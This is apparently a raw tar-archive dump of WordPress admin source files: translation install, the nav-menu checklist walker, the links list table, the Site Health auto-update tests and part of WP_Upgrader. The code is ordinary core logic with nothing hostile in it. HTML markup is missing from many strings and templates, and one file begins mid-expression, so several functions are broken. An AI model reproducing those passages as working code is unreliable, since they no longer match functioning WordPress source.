* @param string[] $view_mode_post_types Array of post types that can change view modes.
* Default post types with show_ui on.
*/
$view_mode_post_types = apply_filters( 'view_mode_post_types', $view_mode_post_types );
if ( 'edit' === $screen->base && ! in_array( $this->post_type, $view_mode_post_types, true ) ) {
return;
}
if ( ! isset( $mode ) ) {
$mode = get_user_setting( 'posts_list_mode', 'list' );
}
// This needs a submit button.
add_filter( 'screen_options_show_submit', '__return_true' );
?>
_screen_reader_content[ $key ] ) ) {
return;
}
echo "<$tag class='screen-reader-text'>" . $this->_screen_reader_content[ $key ] . "$tag>";
}
}
translation-install.php 0000644 00000025503 14757313107 0011274 0 ustar 00 3,
'body' => array(
'wp_version' => wp_get_wp_version(),
'locale' => get_locale(),
'version' => $args['version'], // Version of plugin, theme or core.
),
);
if ( 'core' !== $type ) {
$options['body']['slug'] = $args['slug']; // Plugin or theme slug.
}
$request = wp_remote_post( $url, $options );
if ( $ssl && is_wp_error( $request ) ) {
wp_trigger_error(
__FUNCTION__,
sprintf(
/* translators: %s: Support forums URL. */
__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ),
__( 'https://wordpress.org/support/forums/' )
) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
);
$request = wp_remote_post( $http_url, $options );
}
if ( is_wp_error( $request ) ) {
$res = new WP_Error(
'translations_api_failed',
sprintf(
/* translators: %s: Support forums URL. */
__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ),
__( 'https://wordpress.org/support/forums/' )
),
$request->get_error_message()
);
} else {
$res = json_decode( wp_remote_retrieve_body( $request ), true );
if ( ! is_object( $res ) && ! is_array( $res ) ) {
$res = new WP_Error(
'translations_api_failed',
sprintf(
/* translators: %s: Support forums URL. */
__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ),
__( 'https://wordpress.org/support/forums/' )
),
wp_remote_retrieve_body( $request )
);
}
}
}
/**
* Filters the Translation Installation API response results.
*
* @since 4.0.0
*
* @param array|WP_Error $res {
* On success an associative array of translations, WP_Error on failure.
*
* @type array $translations {
* List of translations, each an array of data.
*
* @type array ...$0 {
* @type string $language Language code.
* @type string $version WordPress version.
* @type string $updated Date the translation was last updated, in MySQL datetime format.
* @type string $english_name English name of the language.
* @type string $native_name Native name of the language.
* @type string $package URL to download the translation package.
* @type string[] $iso Array of ISO language codes.
* @type array $strings Array of translated strings used in the installation process.
* }
* }
* }
* @param string $type The type of translations being requested.
* @param object $args Translation API arguments.
*/
return apply_filters( 'translations_api_result', $res, $type, $args );
}
/**
* Get available translations from the WordPress.org API.
*
* @since 4.0.0
*
* @see translations_api()
*
* @return array {
* Array of translations keyed by the language code, each an associative array of data.
* If the API response results in an error, an empty array will be returned.
*
* @type array ...$0 {
* @type string $language Language code.
* @type string $version WordPress version.
* @type string $updated Date the translation was last updated, in MySQL datetime format.
* @type string $english_name English name of the language.
* @type string $native_name Native name of the language.
* @type string $package URL to download the translation package.
* @type string[] $iso Array of ISO language codes.
* @type array $strings Array of translated strings used in the installation process.
* }
* }
*/
function wp_get_available_translations() {
if ( ! wp_installing() ) {
$translations = get_site_transient( 'available_translations' );
if ( false !== $translations ) {
return $translations;
}
}
$api = translations_api( 'core', array( 'version' => wp_get_wp_version() ) );
if ( is_wp_error( $api ) || empty( $api['translations'] ) ) {
return array();
}
$translations = array();
// Key the array with the language code.
foreach ( $api['translations'] as $translation ) {
$translations[ $translation['language'] ] = $translation;
}
if ( ! defined( 'WP_INSTALLING' ) ) {
set_site_transient( 'available_translations', $translations, 3 * HOUR_IN_SECONDS );
}
return $translations;
}
/**
* Output the select form for the language selection on the installation screen.
*
* @since 4.0.0
*
* @global string $wp_local_package Locale code of the package.
*
* @param array[] $languages Array of available languages (populated via the Translation API).
*/
function wp_install_language_form( $languages ) {
global $wp_local_package;
$installed_languages = get_available_languages();
echo "\n";
echo "\n";
echo '
';
}
/**
* Download a language pack.
*
* @since 4.0.0
*
* @see wp_get_available_translations()
*
* @param string $download Language code to download.
* @return string|false Returns the language code if successfully downloaded
* (or already installed), or false on failure.
*/
function wp_download_language_pack( $download ) {
// Check if the translation is already installed.
if ( in_array( $download, get_available_languages(), true ) ) {
return $download;
}
if ( ! wp_is_file_mod_allowed( 'download_language_pack' ) ) {
return false;
}
// Confirm the translation is one we can download.
$translations = wp_get_available_translations();
if ( ! $translations ) {
return false;
}
foreach ( $translations as $translation ) {
if ( $translation['language'] === $download ) {
$translation_to_load = true;
break;
}
}
if ( empty( $translation_to_load ) ) {
return false;
}
$translation = (object) $translation;
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
$skin = new Automatic_Upgrader_Skin();
$upgrader = new Language_Pack_Upgrader( $skin );
$translation->type = 'core';
$result = $upgrader->upgrade( $translation, array( 'clear_update_cache' => false ) );
if ( ! $result || is_wp_error( $result ) ) {
return false;
}
return $translation->language;
}
/**
* Check if WordPress has access to the filesystem without asking for
* credentials.
*
* @since 4.0.0
*
* @return bool Returns true on success, false on failure.
*/
function wp_can_install_language_pack() {
if ( ! wp_is_file_mod_allowed( 'can_install_language_pack' ) ) {
return false;
}
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
$skin = new Automatic_Upgrader_Skin();
$upgrader = new Language_Pack_Upgrader( $skin );
$upgrader->init();
$check = $upgrader->fs_connect( array( WP_CONTENT_DIR, WP_LANG_DIR ) );
if ( ! $check || is_wp_error( $check ) ) {
return false;
}
return true;
}
class-walker-nav-menu-checklist.php 0000644 00000012774 14757313107 0013363 0 ustar 00 db_fields = $fields;
}
}
/**
* Starts the list before the elements are added.
*
* @see Walker_Nav_Menu::start_lvl()
*
* @since 3.0.0
*
* @param string $output Used to append additional content (passed by reference).
* @param int $depth Depth of page. Used for padding.
* @param stdClass $args Not used.
*/
public function start_lvl( &$output, $depth = 0, $args = null ) {
$indent = str_repeat( "\t", $depth );
$output .= "\n$indent
\n";
}
/**
* Ends the list of after the elements are added.
*
* @see Walker_Nav_Menu::end_lvl()
*
* @since 3.0.0
*
* @param string $output Used to append additional content (passed by reference).
* @param int $depth Depth of page. Used for padding.
* @param stdClass $args Not used.
*/
public function end_lvl( &$output, $depth = 0, $args = null ) {
$indent = str_repeat( "\t", $depth );
$output .= "\n$indent
";
}
/**
* Start the element output.
*
* @see Walker_Nav_Menu::start_el()
*
* @since 3.0.0
* @since 5.9.0 Renamed `$item` to `$data_object` and `$id` to `$current_object_id`
* to match parent class for PHP 8 named parameter support.
*
* @global int $_nav_menu_placeholder
* @global int|string $nav_menu_selected_id
*
* @param string $output Used to append additional content (passed by reference).
* @param WP_Post $data_object Menu item data object.
* @param int $depth Depth of menu item. Used for padding.
* @param stdClass $args Not used.
* @param int $current_object_id Optional. ID of the current menu item. Default 0.
*/
public function start_el( &$output, $data_object, $depth = 0, $args = null, $current_object_id = 0 ) {
global $_nav_menu_placeholder, $nav_menu_selected_id;
// Restores the more descriptive, specific name for use within this method.
$menu_item = $data_object;
$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? (int) $_nav_menu_placeholder - 1 : -1;
$possible_object_id = isset( $menu_item->post_type ) && 'nav_menu_item' === $menu_item->post_type ? $menu_item->object_id : $_nav_menu_placeholder;
$possible_db_id = ( ! empty( $menu_item->ID ) ) && ( 0 < $possible_object_id ) ? (int) $menu_item->ID : 0;
$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';
$output .= $indent . '
'',
'name' => _x( 'Name', 'link name' ),
'url' => __( 'URL' ),
'categories' => __( 'Categories' ),
'rel' => __( 'Relationship' ),
'visible' => __( 'Visible' ),
'rating' => __( 'Rating' ),
);
}
/**
* @return array
*/
protected function get_sortable_columns() {
return array(
'name' => array( 'name', false, _x( 'Name', 'link name' ), __( 'Table ordered by Name.' ), 'asc' ),
'url' => array( 'url', false, __( 'URL' ), __( 'Table ordered by URL.' ) ),
'visible' => array( 'visible', false, __( 'Visible' ), __( 'Table ordered by Visibility.' ) ),
'rating' => array( 'rating', false, __( 'Rating' ), __( 'Table ordered by Rating.' ) ),
);
}
/**
* Gets the name of the default primary column.
*
* @since 4.3.0
*
* @return string Name of the default primary column, in this case, 'name'.
*/
protected function get_default_primary_column_name() {
return 'name';
}
/**
* Handles the checkbox column output.
*
* @since 4.3.0
* @since 5.9.0 Renamed `$link` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param object $item The current link object.
*/
public function column_cb( $item ) {
// Restores the more descriptive, specific name for use within this method.
$link = $item;
?>
%s',
$edit_link,
/* translators: %s: Link name. */
esc_attr( sprintf( __( 'Edit “%s”' ), $link->link_name ) ),
$link->link_name
);
}
/**
* Handles the link URL column output.
*
* @since 4.3.0
*
* @param object $link The current link object.
*/
public function column_url( $link ) {
$short_url = url_shorten( $link->link_url );
echo "$short_url";
}
/**
* Handles the link categories column output.
*
* @since 4.3.0
*
* @global int $cat_id
*
* @param object $link The current link object.
*/
public function column_categories( $link ) {
global $cat_id;
$cat_names = array();
foreach ( $link->link_category as $category ) {
$cat = get_term( $category, 'link_category', OBJECT, 'display' );
if ( is_wp_error( $cat ) ) {
echo $cat->get_error_message();
}
$cat_name = $cat->name;
if ( (int) $cat_id !== $category ) {
$cat_name = "$cat_name";
}
$cat_names[] = $cat_name;
}
echo implode( ', ', $cat_names );
}
/**
* Handles the link relation column output.
*
* @since 4.3.0
*
* @param object $link The current link object.
*/
public function column_rel( $link ) {
echo empty( $link->link_rel ) ? ' ' : $link->link_rel;
}
/**
* Handles the link visibility column output.
*
* @since 4.3.0
*
* @param object $link The current link object.
*/
public function column_visible( $link ) {
if ( 'Y' === $link->link_visible ) {
_e( 'Yes' );
} else {
_e( 'No' );
}
}
/**
* Handles the link rating column output.
*
* @since 4.3.0
*
* @param object $link The current link object.
*/
public function column_rating( $link ) {
echo $link->link_rating;
}
/**
* Handles the default column output.
*
* @since 4.3.0
* @since 5.9.0 Renamed `$link` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param object $item Link object.
* @param string $column_name Current column name.
*/
public function column_default( $item, $column_name ) {
// Restores the more descriptive, specific name for use within this method.
$link = $item;
/**
* Fires for each registered custom link column.
*
* @since 2.1.0
*
* @param string $column_name Name of the custom column.
* @param int $link_id Link ID.
*/
do_action( 'manage_link_custom_column', $column_name, $link->link_id );
}
/**
* Generates the list table rows.
*
* @since 3.1.0
*/
public function display_rows() {
foreach ( $this->items as $link ) {
$link = sanitize_bookmark( $link );
$link->link_name = esc_attr( $link->link_name );
$link->link_category = wp_get_link_cats( $link->link_id );
?>
single_row_columns( $link ); ?>
' . __( 'Edit' ) . '';
$actions['delete'] = sprintf(
'%s',
wp_nonce_url( "link.php?action=delete&link_id=$link->link_id", 'delete-bookmark_' . $link->link_id ),
/* translators: %s: Link name. */
esc_js( sprintf( __( "You are about to delete this link '%s'\n 'Cancel' to stop, 'OK' to delete." ), $link->link_name ) ),
__( 'Delete' )
);
return $this->row_actions( $actions );
}
}
class-wp-site-health-auto-updates.php 0000644 00000032371 14757313107 0013642 0 ustar 00 test_constants( 'WP_AUTO_UPDATE_CORE', array( true, 'beta', 'rc', 'development', 'branch-development', 'minor' ) ),
$this->test_wp_version_check_attached(),
$this->test_filters_automatic_updater_disabled(),
$this->test_wp_automatic_updates_disabled(),
$this->test_if_failed_update(),
$this->test_vcs_abspath(),
$this->test_check_wp_filesystem_method(),
$this->test_all_files_writable(),
$this->test_accepts_dev_updates(),
$this->test_accepts_minor_updates(),
);
$tests = array_filter( $tests );
$tests = array_map(
static function ( $test ) {
$test = (object) $test;
if ( empty( $test->severity ) ) {
$test->severity = 'warning';
}
return $test;
},
$tests
);
return $tests;
}
/**
* Tests if auto-updates related constants are set correctly.
*
* @since 5.2.0
* @since 5.5.1 The `$value` parameter can accept an array.
*
* @param string $constant The name of the constant to check.
* @param bool|string|array $value The value that the constant should be, if set,
* or an array of acceptable values.
* @return array The test results.
*/
public function test_constants( $constant, $value ) {
$acceptable_values = (array) $value;
if ( defined( $constant ) && ! in_array( constant( $constant ), $acceptable_values, true ) ) {
return array(
'description' => sprintf(
/* translators: 1: Name of the constant used. 2: Value of the constant used. */
__( 'The %1$s constant is defined as %2$s' ),
"$constant",
'' . esc_html( var_export( constant( $constant ), true ) ) . ''
),
'severity' => 'fail',
);
}
}
/**
* Checks if updates are intercepted by a filter.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function test_wp_version_check_attached() {
if ( ( ! is_multisite() || is_main_site() && is_network_admin() )
&& ! has_filter( 'wp_version_check', 'wp_version_check' )
) {
return array(
'description' => sprintf(
/* translators: %s: Name of the filter used. */
__( 'A plugin has prevented updates by disabling %s.' ),
'wp_version_check()'
),
'severity' => 'fail',
);
}
}
/**
* Checks if automatic updates are disabled by a filter.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function test_filters_automatic_updater_disabled() {
/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
if ( apply_filters( 'automatic_updater_disabled', false ) ) {
return array(
'description' => sprintf(
/* translators: %s: Name of the filter used. */
__( 'The %s filter is enabled.' ),
'automatic_updater_disabled'
),
'severity' => 'fail',
);
}
}
/**
* Checks if automatic updates are disabled.
*
* @since 5.3.0
*
* @return array|false The test results. False if auto-updates are enabled.
*/
public function test_wp_automatic_updates_disabled() {
if ( ! class_exists( 'WP_Automatic_Updater' ) ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
}
$auto_updates = new WP_Automatic_Updater();
if ( ! $auto_updates->is_disabled() ) {
return false;
}
return array(
'description' => __( 'All automatic updates are disabled.' ),
'severity' => 'fail',
);
}
/**
* Checks if automatic updates have tried to run, but failed, previously.
*
* @since 5.2.0
*
* @return array|false The test results. False if the auto-updates failed.
*/
public function test_if_failed_update() {
$failed = get_site_option( 'auto_core_update_failed' );
if ( ! $failed ) {
return false;
}
if ( ! empty( $failed['critical'] ) ) {
$description = __( 'A previous automatic background update ended with a critical failure, so updates are now disabled.' );
$description .= ' ' . __( 'You would have received an email because of this.' );
$description .= ' ' . __( "When you've been able to update using the \"Update now\" button on Dashboard > Updates, this error will be cleared for future update attempts." );
$description .= ' ' . sprintf(
/* translators: %s: Code of error shown. */
__( 'The error code was %s.' ),
'' . $failed['error_code'] . ''
);
return array(
'description' => $description,
'severity' => 'warning',
);
}
$description = __( 'A previous automatic background update could not occur.' );
if ( empty( $failed['retry'] ) ) {
$description .= ' ' . __( 'You would have received an email because of this.' );
}
$description .= ' ' . __( 'Another attempt will be made with the next release.' );
$description .= ' ' . sprintf(
/* translators: %s: Code of error shown. */
__( 'The error code was %s.' ),
'' . $failed['error_code'] . ''
);
return array(
'description' => $description,
'severity' => 'warning',
);
}
/**
* Checks if WordPress is controlled by a VCS (Git, Subversion etc).
*
* @since 5.2.0
*
* @return array The test results.
*/
public function test_vcs_abspath() {
$context_dirs = array( ABSPATH );
$vcs_dirs = array( '.svn', '.git', '.hg', '.bzr' );
$check_dirs = array();
foreach ( $context_dirs as $context_dir ) {
// Walk up from $context_dir to the root.
do {
$check_dirs[] = $context_dir;
// Once we've hit '/' or 'C:\', we need to stop. dirname will keep returning the input here.
if ( dirname( $context_dir ) === $context_dir ) {
break;
}
// Continue one level at a time.
} while ( $context_dir = dirname( $context_dir ) );
}
$check_dirs = array_unique( $check_dirs );
$updater = new WP_Automatic_Updater();
$checkout = false;
// Search all directories we've found for evidence of version control.
foreach ( $vcs_dirs as $vcs_dir ) {
foreach ( $check_dirs as $check_dir ) {
if ( ! $updater->is_allowed_dir( $check_dir ) ) {
continue;
}
$checkout = is_dir( rtrim( $check_dir, '\\/' ) . "/$vcs_dir" );
if ( $checkout ) {
break 2;
}
}
}
/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
if ( $checkout && ! apply_filters( 'automatic_updates_is_vcs_checkout', true, ABSPATH ) ) {
return array(
'description' => sprintf(
/* translators: 1: Folder name. 2: Version control directory. 3: Filter name. */
__( 'The folder %1$s was detected as being under version control (%2$s), but the %3$s filter is allowing updates.' ),
'' . $check_dir . '',
"$vcs_dir",
'automatic_updates_is_vcs_checkout'
),
'severity' => 'info',
);
}
if ( $checkout ) {
return array(
'description' => sprintf(
/* translators: 1: Folder name. 2: Version control directory. */
__( 'The folder %1$s was detected as being under version control (%2$s).' ),
'' . $check_dir . '',
"$vcs_dir"
),
'severity' => 'warning',
);
}
return array(
'description' => __( 'No version control systems were detected.' ),
'severity' => 'pass',
);
}
/**
* Checks if we can access files without providing credentials.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function test_check_wp_filesystem_method() {
// Make sure the `request_filesystem_credentials()` function is available during our REST API call.
if ( ! function_exists( 'request_filesystem_credentials' ) ) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
$skin = new Automatic_Upgrader_Skin();
$success = $skin->request_filesystem_credentials( false, ABSPATH );
if ( ! $success ) {
$description = __( 'Your installation of WordPress prompts for FTP credentials to perform updates.' );
$description .= ' ' . __( '(Your site is performing updates over FTP due to file ownership. Talk to your hosting company.)' );
return array(
'description' => $description,
'severity' => 'fail',
);
}
return array(
'description' => __( 'Your installation of WordPress does not require FTP credentials to perform updates.' ),
'severity' => 'pass',
);
}
/**
* Checks if core files are writable by the web user/group.
*
* @since 5.2.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @return array|false The test results. False if they're not writeable.
*/
public function test_all_files_writable() {
global $wp_filesystem;
require ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z
$skin = new Automatic_Upgrader_Skin();
$success = $skin->request_filesystem_credentials( false, ABSPATH );
if ( ! $success ) {
return false;
}
WP_Filesystem();
if ( 'direct' !== $wp_filesystem->method ) {
return false;
}
// Make sure the `get_core_checksums()` function is available during our REST API call.
if ( ! function_exists( 'get_core_checksums' ) ) {
require_once ABSPATH . 'wp-admin/includes/update.php';
}
$checksums = get_core_checksums( $wp_version, 'en_US' );
$dev = ( str_contains( $wp_version, '-' ) );
// Get the last stable version's files and test against that.
if ( ! $checksums && $dev ) {
$checksums = get_core_checksums( (float) $wp_version - 0.1, 'en_US' );
}
// There aren't always checksums for development releases, so just skip the test if we still can't find any.
if ( ! $checksums && $dev ) {
return false;
}
if ( ! $checksums ) {
$description = sprintf(
/* translators: %s: WordPress version. */
__( "Couldn't retrieve a list of the checksums for WordPress %s." ),
$wp_version
);
$description .= ' ' . __( 'This could mean that connections are failing to WordPress.org.' );
return array(
'description' => $description,
'severity' => 'warning',
);
}
$unwritable_files = array();
foreach ( array_keys( $checksums ) as $file ) {
if ( str_starts_with( $file, 'wp-content' ) ) {
continue;
}
if ( ! file_exists( ABSPATH . $file ) ) {
continue;
}
if ( ! is_writable( ABSPATH . $file ) ) {
$unwritable_files[] = $file;
}
}
if ( $unwritable_files ) {
if ( count( $unwritable_files ) > 20 ) {
$unwritable_files = array_slice( $unwritable_files, 0, 20 );
$unwritable_files[] = '...';
}
return array(
'description' => __( 'Some files are not writable by WordPress:' ) . '
' . implode( '
', $unwritable_files ) . '
',
'severity' => 'fail',
);
} else {
return array(
'description' => __( 'All of your WordPress files are writable.' ),
'severity' => 'pass',
);
}
}
/**
* Checks if the install is using a development branch and can use nightly packages.
*
* @since 5.2.0
*
* @return array|false The test results. False if it isn't a development version.
*/
public function test_accepts_dev_updates() {
require ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z
// Only for dev versions.
if ( ! str_contains( $wp_version, '-' ) ) {
return false;
}
if ( defined( 'WP_AUTO_UPDATE_CORE' ) && ( 'minor' === WP_AUTO_UPDATE_CORE || false === WP_AUTO_UPDATE_CORE ) ) {
return array(
'description' => sprintf(
/* translators: %s: Name of the constant used. */
__( 'WordPress development updates are blocked by the %s constant.' ),
'WP_AUTO_UPDATE_CORE'
),
'severity' => 'fail',
);
}
/** This filter is documented in wp-admin/includes/class-core-upgrader.php */
if ( ! apply_filters( 'allow_dev_auto_core_updates', $wp_version ) ) {
return array(
'description' => sprintf(
/* translators: %s: Name of the filter used. */
__( 'WordPress development updates are blocked by the %s filter.' ),
'allow_dev_auto_core_updates'
),
'severity' => 'fail',
);
}
}
/**
* Checks if the site supports automatic minor updates.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function test_accepts_minor_updates() {
if ( defined( 'WP_AUTO_UPDATE_CORE' ) && false === WP_AUTO_UPDATE_CORE ) {
return array(
'description' => sprintf(
/* translators: %s: Name of the constant used. */
__( 'WordPress security and maintenance releases are blocked by %s.' ),
"define( 'WP_AUTO_UPDATE_CORE', false );"
),
'severity' => 'fail',
);
}
/** This filter is documented in wp-admin/includes/class-core-upgrader.php */
if ( ! apply_filters( 'allow_minor_auto_core_updates', true ) ) {
return array(
'description' => sprintf(
/* translators: %s: Name of the filter used. */
__( 'WordPress security and maintenance releases are blocked by the %s filter.' ),
'allow_minor_auto_core_updates'
),
'severity' => 'fail',
);
}
}
}
class-wp-upgrader.php 0000644 00000135117 14757313107 0010635 0 ustar 00 skin = new WP_Upgrader_Skin();
} else {
$this->skin = $skin;
}
}
/**
* Initializes the upgrader.
*
* This will set the relationship between the skin being used and this upgrader,
* and also add the generic strings to `WP_Upgrader::$strings`.
*
* Additionally, it will schedule a weekly task to clean up the temporary backup directory.
*
* @since 2.8.0
* @since 6.3.0 Added the `schedule_temp_backup_cleanup()` task.
*/
public function init() {
$this->skin->set_upgrader( $this );
$this->generic_strings();
if ( ! wp_installing() ) {
$this->schedule_temp_backup_cleanup();
}
}
/**
* Schedules the cleanup of the temporary backup directory.
*
* @since 6.3.0
*/
protected function schedule_temp_backup_cleanup() {
if ( false === wp_next_scheduled( 'wp_delete_temp_updater_backups' ) ) {
wp_schedule_event( time(), 'weekly', 'wp_delete_temp_updater_backups' );
}
}
/**
* Adds the generic strings to WP_Upgrader::$strings.
*
* @since 2.8.0
*/
public function generic_strings() {
$this->strings['bad_request'] = __( 'Invalid data provided.' );
$this->strings['fs_unavailable'] = __( 'Could not access filesystem.' );
$this->strings['fs_error'] = __( 'Filesystem error.' );
$this->strings['fs_no_root_dir'] = __( 'Unable to locate WordPress root directory.' );
/* translators: %s: Directory name. */
$this->strings['fs_no_content_dir'] = sprintf( __( 'Unable to locate WordPress content directory (%s).' ), 'wp-content' );
$this->strings['fs_no_plugins_dir'] = __( 'Unable to locate WordPress plugin directory.' );
$this->strings['fs_no_themes_dir'] = __( 'Unable to locate WordPress theme directory.' );
/* translators: %s: Directory name. */
$this->strings['fs_no_folder'] = __( 'Unable to locate needed folder (%s).' );
$this->strings['no_package'] = __( 'Package not available.' );
$this->strings['download_failed'] = __( 'Download failed.' );
$this->strings['installing_package'] = __( 'Installing the latest version…' );
$this->strings['no_files'] = __( 'The package contains no files.' );
$this->strings['folder_exists'] = __( 'Destination folder already exists.' );
$this->strings['mkdir_failed'] = __( 'Could not create directory.' );
$this->strings['incompatible_archive'] = __( 'The package could not be installed.' );
$this->strings['files_not_writable'] = __( 'The update cannot be installed because some files could not be copied. This is usually due to inconsistent file permissions.' );
$this->strings['dir_not_readable'] = __( 'A directory could not be read.' );
$this->strings['maintenance_start'] = __( 'Enabling Maintenance mode…' );
$this->strings['maintenance_end'] = __( 'Disabling Maintenance mode…' );
/* translators: %s: upgrade-temp-backup */
$this->strings['temp_backup_mkdir_failed'] = sprintf( __( 'Could not create the %s directory.' ), 'upgrade-temp-backup' );
/* translators: %s: upgrade-temp-backup */
$this->strings['temp_backup_move_failed'] = sprintf( __( 'Could not move the old version to the %s directory.' ), 'upgrade-temp-backup' );
/* translators: %s: The plugin or theme slug. */
$this->strings['temp_backup_restore_failed'] = __( 'Could not restore the original version of %s.' );
/* translators: %s: The plugin or theme slug. */
$this->strings['temp_backup_delete_failed'] = __( 'Could not delete the temporary backup directory for %s.' );
}
/**
* Connects to the filesystem.
*
* @since 2.8.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param string[] $directories Optional. Array of directories. If any of these do
* not exist, a WP_Error object will be returned.
* Default empty array.
* @param bool $allow_relaxed_file_ownership Whether to allow relaxed file ownership.
* Default false.
* @return bool|WP_Error True if able to connect, false or a WP_Error otherwise.
*/
public function fs_connect( $directories = array(), $allow_relaxed_file_ownership = false ) {
global $wp_filesystem;
$credentials = $this->skin->request_filesystem_credentials( false, $directories[0], $allow_relaxed_file_ownership );
if ( false === $credentials ) {
return false;
}
if ( ! WP_Filesystem( $credentials, $directories[0], $allow_relaxed_file_ownership ) ) {
$error = true;
if ( is_object( $wp_filesystem ) && $wp_filesystem->errors->has_errors() ) {
$error = $wp_filesystem->errors;
}
// Failed to connect. Error and request again.
$this->skin->request_filesystem_credentials( $error, $directories[0], $allow_relaxed_file_ownership );
return false;
}
if ( ! is_object( $wp_filesystem ) ) {
return new WP_Error( 'fs_unavailable', $this->strings['fs_unavailable'] );
}
if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
return new WP_Error( 'fs_error', $this->strings['fs_error'], $wp_filesystem->errors );
}
foreach ( (array) $directories as $dir ) {
switch ( $dir ) {
case ABSPATH:
if ( ! $wp_filesystem->abspath() ) {
return new WP_Error( 'fs_no_root_dir', $this->strings['fs_no_root_dir'] );
}
break;
case WP_CONTENT_DIR:
if ( ! $wp_filesystem->wp_content_dir() ) {
return new WP_Error( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
}
break;
case WP_PLUGIN_DIR:
if ( ! $wp_filesystem->wp_plugins_dir() ) {
return new WP_Error( 'fs_no_plugins_dir', $this->strings['fs_no_plugins_dir'] );
}
break;
case get_theme_root():
if ( ! $wp_filesystem->wp_themes_dir() ) {
return new WP_Error( 'fs_no_themes_dir', $this->strings['fs_no_themes_dir'] );
}
break;
default:
if ( ! $wp_filesystem->find_folder( $dir ) ) {
return new WP_Error( 'fs_no_folder', sprintf( $this->strings['fs_no_folder'], esc_html( basename( $dir ) ) ) );
}
break;
}
}
return true;
}
/**
* Downloads a package.
*
* @since 2.8.0
* @since 5.2.0 Added the `$check_signatures` parameter.
* @since 5.5.0 Added the `$hook_extra` parameter.
*
* @param string $package The URI of the package. If this is the full path to an
* existing local file, it will be returned untouched.
* @param bool $check_signatures Whether to validate file signatures. Default false.
* @param array $hook_extra Extra arguments to pass to the filter hooks. Default empty array.
* @return string|WP_Error The full path to the downloaded package file, or a WP_Error object.
*/
public function download_package( $package, $check_signatures = false, $hook_extra = array() ) {
/**
* Filters whether to return the package.
*
* @since 3.7.0
* @since 5.5.0 Added the `$hook_extra` parameter.
*
* @param bool $reply Whether to bail without returning the package.
* Default false.
* @param string $package The package file name.
* @param WP_Upgrader $upgrader The WP_Upgrader instance.
* @param array $hook_extra Extra arguments passed to hooked filters.
*/
$reply = apply_filters( 'upgrader_pre_download', false, $package, $this, $hook_extra );
if ( false !== $reply ) {
return $reply;
}
if ( ! preg_match( '!^(http|https|ftp)://!i', $package ) && file_exists( $package ) ) { // Local file or remote?
return $package; // Must be a local file.
}
if ( empty( $package ) ) {
return new WP_Error( 'no_package', $this->strings['no_package'] );
}
$this->skin->feedback( 'downloading_package', $package );
$download_file = download_url( $package, 300, $check_signatures );
if ( is_wp_error( $download_file ) && ! $download_file->get_error_data( 'softfail-filename' ) ) {
return new WP_Error( 'download_failed', $this->strings['download_failed'], $download_file->get_error_message() );
}
return $download_file;
}
/**
* Unpacks a compressed package file.
*
* @since 2.8.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param string $package Full path to the package file.
* @param bool $delete_package Optional. Whether to delete the package file after attempting
* to unpack it. Default true.
* @return string|WP_Error The path to the unpacked contents, or a WP_Error on failure.
*/
public function unpack_package( $package, $delete_package = true ) {
global $wp_filesystem;
$this->skin->feedback( 'unpack_package' );
if ( ! $wp_filesystem->wp_content_dir() ) {
return new WP_Error( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
}
$upgrade_folder = $wp_filesystem->wp_content_dir() . 'upgrade/';
// Clean up contents of upgrade directory beforehand.
$upgrade_files = $wp_filesystem->dirlist( $upgrade_folder );
if ( ! empty( $upgrade_files ) ) {
foreach ( $upgrade_files as $file ) {
$wp_filesystem->delete( $upgrade_folder . $file['name'], true );
}
}
// We need a working directory - strip off any .tmp or .zip suffixes.
$working_dir = $upgrade_folder . basename( basename( $package, '.tmp' ), '.zip' );
// Clean up working directory.
if ( $wp_filesystem->is_dir( $working_dir ) ) {
$wp_filesystem->delete( $working_dir, true );
}
// Unzip package to working directory.
$result = unzip_file( $package, $working_dir );
// Once extracted, delete the package if required.
if ( $delete_package ) {
unlink( $package );
}
if ( is_wp_error( $result ) ) {
$wp_filesystem->delete( $working_dir, true );
if ( 'incompatible_archive' === $result->get_error_code() ) {
return new WP_Error( 'incompatible_archive', $this->strings['incompatible_archive'], $result->get_error_data() );
}
return $result;
}
return $working_dir;
}
/**
* Flattens the results of WP_Filesystem_Base::dirlist() for iterating over.
*
* @since 4.9.0
* @access protected
*
* @param array $nested_files Array of files as returned by WP_Filesystem_Base::dirlist().
* @param string $path Relative path to prepend to child nodes. Optional.
* @return array A flattened array of the $nested_files specified.
*/
protected function flatten_dirlist( $nested_files, $path = '' ) {
$files = array();
foreach ( $nested_files as $name => $details ) {
$files[ $path . $name ] = $details;
// Append children recursively.
if ( ! empty( $details['files'] ) ) {
$children = $this->flatten_dirlist( $details['files'], $path . $name . '/' );
// Merge keeping possible numeric keys, which array_merge() will reindex from 0..n.
$files = $files + $children;
}
}
return $files;
}
/**
* Clears the directory where this item is going to be installed into.
*
* @since 4.3.0
*
